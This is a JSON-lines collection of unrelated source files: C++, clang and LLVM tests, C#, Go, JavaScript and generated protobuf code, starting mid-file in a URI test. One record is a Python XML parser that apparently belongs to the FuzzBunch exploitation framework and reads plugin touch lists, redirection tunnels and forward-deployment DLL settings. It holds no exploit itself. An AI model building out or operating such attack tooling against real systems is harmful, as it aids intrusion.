VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g?y\")), U(\"http://a/b/c/g?y\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"#s\")), U(\"http://a/b/c/d;p?q#s\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g#s\")), U(\"http://a/b/c/g#s\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g?y#s\")), U(\"http://a/b/c/g?y#s\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\";x\")), U(\"http://a/b/c/;x\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g;x\")), U(\"http://a/b/c/g;x\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g;x?y#s\")), U(\"http://a/b/c/g;x?y#s\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"\")), U(\"http://a/b/c/d;p?q\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\".\")), U(\"http://a/b/c/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"./\")), U(\"http://a/b/c/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"..\")), U(\"http://a/b/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"../\")), U(\"http://a/b/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"../g\")), U(\"http://a/b/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"../..\")), U(\"http://a/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"../../\")), U(\"http://a/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"../../g\")), U(\"http://a/g\"));\n    }\n    // 5.4.2. Abnormal Examples https://tools.ietf.org/html/rfc3986#section-5.4.2\n    TEST(resolve_uri_abnormal)\n    {\n        const uri baseUri = U(\"http://a/b/c/d;p?q\");\n\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"../../../g\")), U(\"http://a/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"../../../../g\")), U(\"http://a/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"/./g\")), U(\"http://a/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"/../g\")), U(\"http://a/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g.\")), U(\"http://a/b/c/g.\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\".g\")), U(\"http://a/b/c/.g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g..\")), U(\"http://a/b/c/g..\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"..g\")), U(\"http://a/b/c/..g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"./../g\")), U(\"http://a/b/g\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"./g/.\")), U(\"http://a/b/c/g/\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g/./h\")), U(\"http://a/b/c/g/h\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g/../h\")), U(\"http://a/b/c/h\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g;x=1/./y\")), U(\"http://a/b/c/g;x=1/y\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g;x=1/../y\")), U(\"http://a/b/c/y\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g?y/./x\")), U(\"http://a/b/c/g?y/./x\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g?y/../x\")), U(\"http://a/b/c/g?y/../x\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g#s/./x\")), U(\"http://a/b/c/g#s/./x\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"g#s/../x\")), U(\"http://a/b/c/g#s/../x\"));\n        VERIFY_ARE_EQUAL(baseUri.resolve_uri(U(\"http:g\")), U(\"http:g\"));\n    }\n\n} // SUITE(resolve_uri_tests)\n\n} // namespace uri_tests\n} // namespace functional\n} // namespace tests\n"}
+{"text": "// RUN: %clang_cc1 -fsyntax-only -verify -std=c++11 %s\n\nvoid f(); // expected-note {{possible target for call}}\nvoid f(int); // expected-note {{possible target for call}}\n\nvoid g() {\n  bool b = noexcept(f); // expected-error {{reference to overloaded function could not be resolved; did you mean to call it with no arguments?}}\n  bool b2 = noexcept(f(0));\n}\n\nstruct S {\n  void g(); // expected-note {{possible target for call}}\n  void g(int); // expected-note {{possible target for call}}\n\n  void h() {\n    bool b = noexcept(this->g); // expected-error {{reference to non-static member function must be called; did you mean to call it with no arguments?}}\n    bool b2 = noexcept(this->g(0));\n  }\n};\n"}
+{"text": "/**\n * A class representation of the BSON MinKey type.\n *\n * @class Represents the BSON MinKey type.\n * @return {MinKey}\n */\nfunction MinKey() {\n  if(!(this instanceof MinKey)) return new MinKey();\n  \n  this._bsontype = 'MinKey';\n}\n\nexports.MinKey = MinKey;"}
+{"text": "# RUN: yaml2obj %s > %t\n# RUN: cp %t %t1\n# RUN: llvm-objcopy --discard-locals %t %t2\n# Verify that llvm-objcopy has not modified the input.\n# RUN: cmp %t %t1\n# RUN: llvm-readobj --symbols %t2 | FileCheck %s\n\n# RUN: llvm-objcopy -X %t %t3\n# Verify that llvm-objcopy has not modified the input.\n# RUN: cmp %t %t1\n# RUN: cmp %t2 %t3\n\n# Verify that llvm-strip modifies the symbol table the same way.\n\n# RUN: cp %t %t4\n# RUN: llvm-strip --discard-locals %t4\n# RUN: cmp %t2 %t4\n\n# RUN: cp %t %t5\n# RUN: llvm-strip -X %t5\n# RUN: cmp %t2 %t5\n\n!ELF\nFileHeader:\n  Class:           ELFCLASS64\n  Data:            ELFDATA2LSB\n  Type:            ET_REL\n  Machine:         EM_X86_64\nSections:\n  - Name:            .text\n    Type:            SHT_PROGBITS\n  - Name:            .LLVM.Custom.Section\n    Type:            SHT_PROGBITS\nSymbols:\n  - Name:     Local\n    Type:     STT_FUNC\n    Section:  .text\n  - Name:     .L.LocalSection\n    Type:     STT_SECTION\n    Section:  .text\n  - Type:     STT_SECTION\n    Section:  .LLVM.Custom.Section\n  - Name:     .L.LocalFile\n    Type:     STT_FILE\n  - Name:     .L.str\n    Type:     STT_OBJECT\n    Section:  .text\n  - Name:     .L.undefined\n  - Name:     .L.abs\n    Index:    SHN_ABS\n  - Name:     .L.Global\n    Type:     STT_FUNC\n    Section:  .text\n    Binding:  STB_GLOBAL\n\n# CHECK:      Symbols [\n# CHECK-NEXT:   Symbol {\n# CHECK-NEXT:     Name:\n# CHECK-NEXT:     Value: 0x0\n# CHECK-NEXT:     Size: 0\n# CHECK-NEXT:     Binding: Local\n# CHECK-NEXT:     Type: None\n# CHECK-NEXT:     Other: 0\n# CHECK-NEXT:     Section: Undefined\n# CHECK-NEXT:   }\n# CHECK-NEXT:   Symbol {\n# CHECK-NEXT:     Name: Local\n# CHECK-NEXT:     Value:\n# CHECK-NEXT:     Size:\n# CHECK-NEXT:     Binding: Local\n# CHECK-NEXT:     Type: Function\n# CHECK-NEXT:     Other:\n# CHECK-NEXT:     Section: .text\n# CHECK-NEXT:   }\n# CHECK-NEXT:   Symbol {\n# CHECK-NEXT:     Name: .L.LocalSection\n# CHECK-NEXT:     Value:\n# CHECK-NEXT:     Size:\n# CHECK-NEXT:     Binding: Local\n# CHECK-NEXT:     Type: Section\n# CHECK-NEXT:     Other:\n# CHECK-NEXT:     Section: .text\n# CHECK-NEXT:   }\n# CHECK-NEXT:   Symbol {\n# CHECK-NEXT:     Name:\n# CHECK-NEXT:     Value:\n# CHECK-NEXT:     Size:\n# CHECK-NEXT:     Binding: Local\n# CHECK-NEXT:     Type: Section\n# CHECK-NEXT:     Other:\n# CHECK-NEXT:     Section: .LLVM.Custom.Section\n# CHECK-NEXT:   }\n# CHECK-NEXT:   Symbol {\n# CHECK-NEXT:     Name: .L.LocalFile\n# CHECK-NEXT:     Value:\n# CHECK-NEXT:     Size:\n# CHECK-NEXT:     Binding: Local\n# CHECK-NEXT:     Type: File\n# CHECK-NEXT:     Other:\n# CHECK-NEXT:     Section: Undefined\n# CHECK-NEXT:   }\n# CHECK-NEXT:   Symbol {\n# CHECK-NEXT:     Name: .L.undefined\n# CHECK-NEXT:     Value:\n# CHECK-NEXT:     Size:\n# CHECK-NEXT:     Binding: Local\n# CHECK-NEXT:     Type: None\n# CHECK-NEXT:     Other:\n# CHECK-NEXT:     Section: Undefined\n# CHECK-NEXT:   }\n# CHECK-NEXT:   Symbol {\n# CHECK-NEXT:     Name: .L.Global\n# CHECK-NEXT:     Value:\n# CHECK-NEXT:     Size:\n# CHECK-NEXT:     Binding: Global\n# CHECK-NEXT:     Type: Function\n# CHECK-NEXT:     Other:\n# CHECK-NEXT:     Section: .text\n# CHECK-NEXT:   }\n# CHECK-NEXT: ]\n"}
+{"text": "using Avalonia.Controls;\nusing Avalonia.Markup.Xaml;\n\nnamespace Draw2D.Views.Style.ImageFilters\n{\n    public class ArithmeticImageFilterView : UserControl\n    {\n        public ArithmeticImageFilterView()\n        {\n            InitializeComponent();\n        }\n\n        private void InitializeComponent()\n        {\n            AvaloniaXamlLoader.Load(this);\n        }\n    }\n}\n"}
+{"text": "/////////////////////////////////////////////////////////////////////////\n// $Id: cmos.h,v 1.19 2007/09/28 19:51:59 sshwarts Exp $\n/////////////////////////////////////////////////////////////////////////\n//\n//  Copyright (C) 2002  MandrakeSoft S.A.\n//\n//    MandrakeSoft S.A.\n//    43, rue d'Aboukir\n//    75002 Paris - France\n//    http://www.linux-mandrake.com/\n//    http://www.mandrakesoft.com/\n//\n//  This library is free software; you can redistribute it and/or\n//  modify it under the terms of the GNU Lesser General Public\n//  License as published by the Free Software Foundation; either\n//  version 2 of the License, or (at your option) any later version.\n//\n//  This library is distributed in the hope that it will be useful,\n//  but WITHOUT ANY WARRANTY; without even the implied warranty of\n//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n//  Lesser General Public License for more details.\n//\n//  You should have received a copy of the GNU Lesser General Public\n//  License along with this library; if not, write to the Free Software\n//  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA\n\n#ifndef BX_IODEV_CMOS_H\n#define BX_IODEV_CMOS_H\n\n#if BX_USE_CMOS_SMF\n#  define BX_CMOS_SMF  static\n#  define BX_CMOS_THIS theCmosDevice->\n#else\n#  define BX_CMOS_SMF\n#  define BX_CMOS_THIS this->\n#endif\n\n\nclass bx_cmos_c : public bx_cmos_stub_c {\npublic:\n  bx_cmos_c();\n  virtual ~bx_cmos_c();\n\n  virtual void init(void);\n  virtual void checksum_cmos(void);\n  virtual void reset(unsigned type);\n  virtual void save_image(void);\n  virtual void register_state(void);\n  virtual void after_restore_state(void);\n\n  virtual Bit32u get_reg(unsigned reg) {\n    return s.reg[reg];\n  }\n  virtual void set_reg(unsigned reg, Bit32u val) {\n    s.reg[reg] = val;\n  }\n  virtual time_t get_timeval() {\n    return s.timeval;\n  }\n\n  struct {\n    int     periodic_timer_index;\n    Bit32u  periodic_interval_usec;\n    int     one_second_timer_index;\n    int     uip_timer_index;\n    time_t  timeval;\n    Bit8u   cmos_mem_address;\n    bx_bool timeval_change;\n    bx_bool rtc_mode_12hour;\n    bx_bool rtc_mode_binary;\n\n    Bit8u   reg[128];\n  } s;  // state information\n\nprivate:\n  static Bit32u read_handler(void *this_ptr, Bit32u address, unsigned io_len);\n  static void   write_handler(void *this_ptr, Bit32u address, Bit32u value, unsigned io_len);\n#if !BX_USE_CMOS_SMF\n  Bit32u read(Bit32u address, unsigned io_len);\n  void   write(Bit32u address, Bit32u value, unsigned len);\n#endif\n\npublic:\n  static void periodic_timer_handler(void *);\n  static void one_second_timer_handler(void *);\n  static void uip_timer_handler(void *);\n  BX_CMOS_SMF void periodic_timer(void);\n  BX_CMOS_SMF void one_second_timer(void);\n  BX_CMOS_SMF void uip_timer(void);\nprivate:\n  BX_CMOS_SMF void update_clock(void);\n  BX_CMOS_SMF void update_timeval(void);\n  BX_CMOS_SMF void CRA_change(void);\n};\n\n#endif\n"}
+{"text": "using System.Collections.Generic;\nusing PlatoCore.Security.Abstractions;\n\nnamespace Plato.Ideas.Private\n{\n    public class Permissions : IPermissionsProvider\n    {\n\n        public static readonly Permission IdeasPrivateCreatePublic =\n            new Permission(\"IdeasPrivateCreatePublic\", \"Post public ideas\");\n\n        public static readonly Permission IdeasPrivateCreatePrivate =\n            new Permission(\"IdeasPrivateCreatePrivate\", \"Post private ideas\");\n\n        public static readonly Permission IdeasPrivateToPublic =\n            new Permission(\"IdeasPrivateToPublic\", \"Convert ideas to public\");\n\n        public static readonly Permission IdeasPrivateToPrivate =\n            new Permission(\"IdeasPrivateToPrivate\", \"Convert ideas to private\");\n        \n        public IEnumerable GetPermissions()\n        {\n            return new[]\n            {\n                IdeasPrivateCreatePublic,\n                IdeasPrivateCreatePrivate,\n                IdeasPrivateToPublic,\n                IdeasPrivateToPrivate\n            };\n        }\n\n        public IEnumerable> GetDefaultPermissions()\n        {\n            return new[]\n            {\n                new DefaultPermissions\n                {\n                    RoleName = DefaultRoles.Administrator,\n                    Permissions = new[]\n                    {\n                        IdeasPrivateCreatePublic,\n                        IdeasPrivateCreatePrivate,\n                        IdeasPrivateToPublic,\n                        IdeasPrivateToPrivate\n                    }\n                },\n                new DefaultPermissions\n                {\n                    RoleName = DefaultRoles.Staff,\n                    Permissions = new[]\n                    {\n                        IdeasPrivateCreatePublic,\n                        IdeasPrivateCreatePrivate,\n                        IdeasPrivateToPublic,\n                        IdeasPrivateToPrivate\n                    }\n                },\n                new DefaultPermissions\n                {\n                    RoleName = DefaultRoles.Member,\n                    Permissions = new[]\n                    {\n                        IdeasPrivateCreatePublic,\n                        IdeasPrivateCreatePrivate,\n                        IdeasPrivateToPublic,\n                        IdeasPrivateToPrivate\n                    }\n                }\n            };\n\n        }\n\n    }\n\n}\n"}
+{"text": "\"\"\"\n\nXML Parsing routines outside of what TRCH handles.\n\nThis is primarily meant to deal with the .fb files\n\n\nNOTE: Values pulled from XML are 'unicode' by default. The rest of FB prefers\n'str' types.\n\n\"\"\"\nfrom xml.etree import ElementTree\nimport xml.dom.minidom\nimport util\nimport xml.parsers.expat as expat\nimport exception\nimport re\n\n\n__all__ = ['parse_consolemode',\n           'parse_touchlist',\n           'parse_redirection',\n           'parse_iparamorder',\n           'get_elements']\n\n\ndef get_elements(xmlDoc, tag):\n    try:\n        elements = xmlDoc.getElementsByTagName(tag)\n        if len(elements) == 0:\n            elements = xmlDoc.getElementsByTagName(\"t:\"+tag)\n        return elements\n    except:\n        return []\n\ndef parse_consolemode(xmlFile):\n    \"\"\"\n    Console mode\n\n    INPUT\n    -----\n\n    The consolemode is in a plugin's meta file. The consolemode is optional and\n    only used to override the default.\n\n        \n\n    Valid consolemodes are found in the plugin manager.\n\n    OUTPUT\n    ------\n\n    A Python string.  The value of the 'value' attribute is returned as a\n    string.\n\n    \"\"\"\n    \n    try:\n        xmlDocument = xml.dom.minidom.parse(xmlFile)\n        elem = get_elements(xmlDocument, \"consolemode\")[0]          # Fix to Bug #574\n        #elem = xmlDocument.getElementsByTagName(\"t:consolemode\")[0]\n        return str(elem.getAttribute(\"value\"))\n    except IndexError:\n        return \"\"\n    return \"\"\n    \ndef parse_touchlist(xmlFile):\n    \"\"\"\n    Touch lists\n\n\n    INPUT\n    -----\n\n    Touch lists are in a plugin's meta file.  Touch lists are optional.\n\n        \n            \n\n                \n                \n            \n        \n\n\n    plugin - any number of plugin sections. One for each touch.\n    iparam - Parameters that should be autoset when running the touch\n    ivparam - Parameters that should be autoset based on parent plugins vars \n    oparam - Parameter map of touch output to host plugin\n\n\n    OUTPUT\n    ------\n\n    Python list of dictionaries\n\n        touchlist = [touch1, touch2, ..., touchN]\n\n        Each touch is a dictionary composed of the plugin attributes.  A parameters\n        key has a dictionary of autoset parameters.\n\n        Example:\n\n        touch1 = {\n                  'name'        : 'SSLTouch',\n                  'displayname' : 'Check for SSL',\n                  'description' : 'Checks the target for SSL',\n                  'parameters'  : {'TargetPort' : 443}\n                 }\n    \"\"\"\n    try:\n        xmlDocument = xml.dom.minidom.parse(xmlFile)\n        tlist = get_elements(xmlDocument, \"touchlist\")[0]       # Fix to bug #574\n    except expat.ExpatError:\n        # The XML failed to parse correctly\n        import os.path\n        (p, f) = os.path.split(xmlFile)\n        raise exception.PluginMetaErr(\"Error parsing '%s' XML.  Touches not configured\" % (f))\n        return []\n    except IndexError:\n        # We didn't successfully get anything from \"t:touchlist\" Don't print here because some\n        # things actually don't specify touches\n        #return []\n        raise\n\n    touchlist = []\n\n    for plugin in get_elements(tlist, \"plugin\"):        # Fix for bug #574 \n        touch = {\"name\"        : str(plugin.getAttribute(\"name\")),\n                 \"displayname\" : str(plugin.getAttribute(\"displayname\")),\n                 \"description\" : str(plugin.getAttribute(\"description\")),\n                 \"postmsg\"     : str(plugin.getAttribute(\"postmessage\")),\n                 \"iparams\"     : util.iDict(), \n                 \"ivparams\"    : util.iDict(),\n                 \"oparams\"     : util.iDict()}\n        for p in get_elements(plugin, \"iparam\"):   # Fix for bug #574    #plugin.getElementsByTagName(\"t:iparam\"):\n            touch[\"iparams\"][str(p.getAttribute(\"name\"))] = str(p.getAttribute(\"value\"))\n        for p in get_elements(plugin, \"ivparam\"):  # Fix for bug #574    #plugin.getElementsByTagName(\"t:ivparam\"):\n            touch[\"ivparams\"][str(p.getAttribute(\"name\"))] = str(p.getAttribute(\"value\"))\n        for p in get_elements(plugin, \"oparam\"):   # Fix for bug #574    #plugin.getElementsByTagName(\"t:oparam\"):\n            touch[\"oparams\"][str(p.getAttribute(\"name\"))] = str(p.getAttribute(\"value\"))\n\n        touchlist.append(touch)\n    return touchlist\n\n\ndef parse_redirection(xmlFile):\n    \"\"\"\n    Redirection\n\n\n    INPUT\n    -----\n\n    Redirection sections are in a plugin's standard XML file.  See the truantchild\n    schema for details.\n\n\n    OUTPUT\n    ------\n\n    Python dictionary of lists of dictionaries\n\n        There are 2 types of redirection, remote and local.  Each section can have\n        multiple channels. Each channel is represented as a dictionary.\n        \n        redir = {\n                 'local' : \n                    [ { ..local params..}, ... ],\n                 'remote' :\n                    [ { ..remote params..}, ... ]\n                }\n    \"\"\"\n    def nsstrip(tag):\n        for x in ('{tc0}', '{urn:trch}', 't:'):\n            if tag.startswith(x):\n                return tag.split(x)[1]\n        else:\n            return tag\n\n    def get_redirection(config):\n        for child in config:\n            tag = nsstrip(child.tag)\n            if tag == 'redirection':\n                return child\n        return None\n\n    def get_remote_redir(node):\n        if not node:\n            return []\n        return [child for child in node\n                      if nsstrip(child.tag) == 'remote']\n\n    def get_local_redir(node):\n        if not node:\n            return []\n        return [child for child in node\n                      if nsstrip(child.tag) == 'local']\n\n    xmldoc = ElementTree.parse(xmlFile)\n    config = xmldoc.getroot()\n    redir = get_redirection(config)         # Redirection section of the plug-in XML\n\n    remote = get_remote_redir(redir)        # remote tags in the plug-in redirection section\n    local = get_local_redir(redir)          # local tags in the plug-in redirection section\n\n    redirection = { 'remote' : [x.attrib for x in remote],\n                    'local'  : [x.attrib for x in local] }\n    \n    # Insert a fix for XPath identifiers in redirection sections.\n    # These shouldn't be here, but this fixes everything for now...\n    for tunnel in redirection['remote'] + redirection['local']:\n        for k,v in tunnel.items():\n            if v.lower() == '//identifier':\n                tunnel[k] = 'TargetIp'\n            elif re.match(r'//service\\[name=.*\\]/port', v.lower()):\n                tunnel[k] = 'TargetPort'\n\n    return redirection\n\n\ndef parse_iparamorder(xmlFile):\n    \"\"\"\n    Input Parameter Order\n\n    INPUT\n    -----\n\n    Plugin's standard XML file.\n\n    OUTPUT\n    ------\n\n    List of parameter names in display order\n    \"\"\"\n\n    xmlDocument = xml.dom.minidom.parse(xmlFile)\n\n    try:\n        #iparams = xmlDocument.getElementsByTagName(\"t:inputparameters\")[0]\n        iparams = get_elements(xmlDocument, \"inputparameters\")[0]       # Fix to bug #574\n    except IndexError:\n        return []\n\n    order = []\n    #for param in (iparams.getElementsByTagName(\"t:parameter\") + \n    #              iparams.getElementsByTagName(\"t:paramchoice\")):\n    # Fix for bug #574\n    for param in (get_elements(iparams, \"parameter\") +\n                  get_elements(iparams, \"paramchoice\")):\n        order.append(str(param.getAttribute(\"name\")))\n\n    return order\n\ndef parse_forward(xmlFile):\n    \"\"\"\n    Forward-deployment (i.e., DARINGVETERAN/DARINGNEOPHYTE) DLL Configuration\n    \n    INPUT\n    -----\n    Path to plugin's standard FB file.\n    \n    OUTPUT\n    ------\n    Dictionary mapping archOs tag (e.g., \"x86-Windows\") to a tuple containing\n    plugin proxy and core DLLs.  Note that either element may be None!\n    \"\"\"\n    xmldoc = ElementTree.parse(xmlFile)\n    arches = {}\n    for arch in xmldoc.findall(\"package/arch\"):\n        proxy = getattr(arch.find('base'), 'text', None)\n        core = getattr(arch.find('core'), 'text', None)\n        arches[arch.get('name')] = (proxy, core)\n    return arches\n"}
+{"text": "// Copyright 2017 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build go1.9\n\npackage context\n\nimport \"context\" // standard library's context, as of Go 1.7\n\n// A Context carries a deadline, a cancelation signal, and other values across\n// API boundaries.\n//\n// Context's methods may be called by multiple goroutines simultaneously.\ntype Context = context.Context\n\n// A CancelFunc tells an operation to abandon its work.\n// A CancelFunc does not wait for the work to stop.\n// After the first call, subsequent calls to a CancelFunc do nothing.\ntype CancelFunc = context.CancelFunc\n"}
+{"text": "\n\n\n  \n\n  \n    \n      \n    \n  \n\n  \n    \n      \n    \n  \n\n  \n    \n      \n    \n  \n\n  \n    \n      \n    \n  \n\n  \n    \n      \n    \n  \n\n"}
+{"text": "// Copyright 2013 the V8 project authors. All rights reserved.\n// Copyright (C) 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions\n// are met:\n// 1.  Redistributions of source code must retain the above copyright\n//     notice, this list of conditions and the following disclaimer.\n// 2.  Redistributions in binary form must reproduce the above copyright\n//     notice, this list of conditions and the following disclaimer in the\n//     documentation and/or other materials provided with the distribution.\n//\n// THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY\n// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n// DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\ndescription(\n\"This tests that the DFG can multiply numbers correctly.\"\n);\n\nfunction doMultiplyConstant2(a) {\n    return a * 2;\n}\n\nfunction doMultiplyConstant3(a) {\n    return a * 3;\n}\n\nfunction doMultiplyConstant4(a) {\n    return a * 4;\n}\n\n// Get it to compile.\nfor (var i = 0; i < 100; ++i) {\n    shouldBe(\"doMultiplyConstant2(1)\", \"2\");\n    shouldBe(\"doMultiplyConstant2(2)\", \"4\");\n    shouldBe(\"doMultiplyConstant2(4)\", \"8\");\n    shouldBe(\"doMultiplyConstant3(1)\", \"3\");\n    shouldBe(\"doMultiplyConstant3(2)\", \"6\");\n    shouldBe(\"doMultiplyConstant3(4)\", \"12\");\n    shouldBe(\"doMultiplyConstant4(1)\", \"4\");\n    shouldBe(\"doMultiplyConstant4(2)\", \"8\");\n    shouldBe(\"doMultiplyConstant4(4)\", \"16\");\n}\n\n// Now do evil.\nfor (var i = 0; i < 10; ++i) {\n    shouldBe(\"doMultiplyConstant2(1073741824)\", \"2147483648\");\n    shouldBe(\"doMultiplyConstant2(2147483648)\", \"4294967296\");\n    shouldBe(\"doMultiplyConstant3(1073741824)\", \"3221225472\");\n    shouldBe(\"doMultiplyConstant3(2147483648)\", \"6442450944\");\n    shouldBe(\"doMultiplyConstant4(1073741824)\", \"4294967296\");\n    shouldBe(\"doMultiplyConstant4(2147483648)\", \"8589934592\");\n    shouldBe(\"doMultiplyConstant2(-1073741824)\", \"-2147483648\");\n    shouldBe(\"doMultiplyConstant2(-2147483648)\", \"-4294967296\");\n    shouldBe(\"doMultiplyConstant3(-1073741824)\", \"-3221225472\");\n    shouldBe(\"doMultiplyConstant3(-2147483648)\", \"-6442450944\");\n    shouldBe(\"doMultiplyConstant4(-1073741824)\", \"-4294967296\");\n    shouldBe(\"doMultiplyConstant4(-2147483648)\", \"-8589934592\");\n}\n"}
+{"text": "// Code generated by protoc-gen-go. DO NOT EDIT.\n// source: google.golang.org/appengine/internal/remote_api/remote_api.proto\n\npackage remote_api\n\nimport proto \"github.com/golang/protobuf/proto\"\nimport fmt \"fmt\"\nimport math \"math\"\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto.Marshal\nvar _ = fmt.Errorf\nvar _ = math.Inf\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the proto package it is being compiled against.\n// A compilation error at this line likely means your copy of the\n// proto package needs to be updated.\nconst _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package\n\ntype RpcError_ErrorCode int32\n\nconst (\n\tRpcError_UNKNOWN             RpcError_ErrorCode = 0\n\tRpcError_CALL_NOT_FOUND      RpcError_ErrorCode = 1\n\tRpcError_PARSE_ERROR         RpcError_ErrorCode = 2\n\tRpcError_SECURITY_VIOLATION  RpcError_ErrorCode = 3\n\tRpcError_OVER_QUOTA          RpcError_ErrorCode = 4\n\tRpcError_REQUEST_TOO_LARGE   RpcError_ErrorCode = 5\n\tRpcError_CAPABILITY_DISABLED RpcError_ErrorCode = 6\n\tRpcError_FEATURE_DISABLED    RpcError_ErrorCode = 7\n\tRpcError_BAD_REQUEST         RpcError_ErrorCode = 8\n\tRpcError_RESPONSE_TOO_LARGE  RpcError_ErrorCode = 9\n\tRpcError_CANCELLED           RpcError_ErrorCode = 10\n\tRpcError_REPLAY_ERROR        RpcError_ErrorCode = 11\n\tRpcError_DEADLINE_EXCEEDED   RpcError_ErrorCode = 12\n)\n\nvar RpcError_ErrorCode_name = map[int32]string{\n\t0:  \"UNKNOWN\",\n\t1:  \"CALL_NOT_FOUND\",\n\t2:  \"PARSE_ERROR\",\n\t3:  \"SECURITY_VIOLATION\",\n\t4:  \"OVER_QUOTA\",\n\t5:  \"REQUEST_TOO_LARGE\",\n\t6:  \"CAPABILITY_DISABLED\",\n\t7:  \"FEATURE_DISABLED\",\n\t8:  \"BAD_REQUEST\",\n\t9:  \"RESPONSE_TOO_LARGE\",\n\t10: \"CANCELLED\",\n\t11: \"REPLAY_ERROR\",\n\t12: \"DEADLINE_EXCEEDED\",\n}\nvar RpcError_ErrorCode_value = map[string]int32{\n\t\"UNKNOWN\":             0,\n\t\"CALL_NOT_FOUND\":      1,\n\t\"PARSE_ERROR\":         2,\n\t\"SECURITY_VIOLATION\":  3,\n\t\"OVER_QUOTA\":          4,\n\t\"REQUEST_TOO_LARGE\":   5,\n\t\"CAPABILITY_DISABLED\": 6,\n\t\"FEATURE_DISABLED\":    7,\n\t\"BAD_REQUEST\":         8,\n\t\"RESPONSE_TOO_LARGE\":  9,\n\t\"CANCELLED\":           10,\n\t\"REPLAY_ERROR\":        11,\n\t\"DEADLINE_EXCEEDED\":   12,\n}\n\nfunc (x RpcError_ErrorCode) Enum() *RpcError_ErrorCode {\n\tp := new(RpcError_ErrorCode)\n\t*p = x\n\treturn p\n}\nfunc (x RpcError_ErrorCode) String() string {\n\treturn proto.EnumName(RpcError_ErrorCode_name, int32(x))\n}\nfunc (x *RpcError_ErrorCode) UnmarshalJSON(data []byte) error {\n\tvalue, err := proto.UnmarshalJSONEnum(RpcError_ErrorCode_value, data, \"RpcError_ErrorCode\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = RpcError_ErrorCode(value)\n\treturn nil\n}\nfunc (RpcError_ErrorCode) EnumDescriptor() ([]byte, []int) {\n\treturn fileDescriptor_remote_api_1978114ec33a273d, []int{2, 0}\n}\n\ntype Request struct {\n\tServiceName          *string  `protobuf:\"bytes,2,req,name=service_name,json=serviceName\" json:\"service_name,omitempty\"`\n\tMethod               *string  `protobuf:\"bytes,3,req,name=method\" json:\"method,omitempty\"`\n\tRequest              []byte   `protobuf:\"bytes,4,req,name=request\" json:\"request,omitempty\"`\n\tRequestId            *string  `protobuf:\"bytes,5,opt,name=request_id,json=requestId\" json:\"request_id,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized     []byte   `json:\"-\"`\n\tXXX_sizecache        int32    `json:\"-\"`\n}\n\nfunc (m *Request) Reset()         { *m = Request{} }\nfunc (m *Request) String() string { return proto.CompactTextString(m) }\nfunc (*Request) ProtoMessage()    {}\nfunc (*Request) Descriptor() ([]byte, []int) 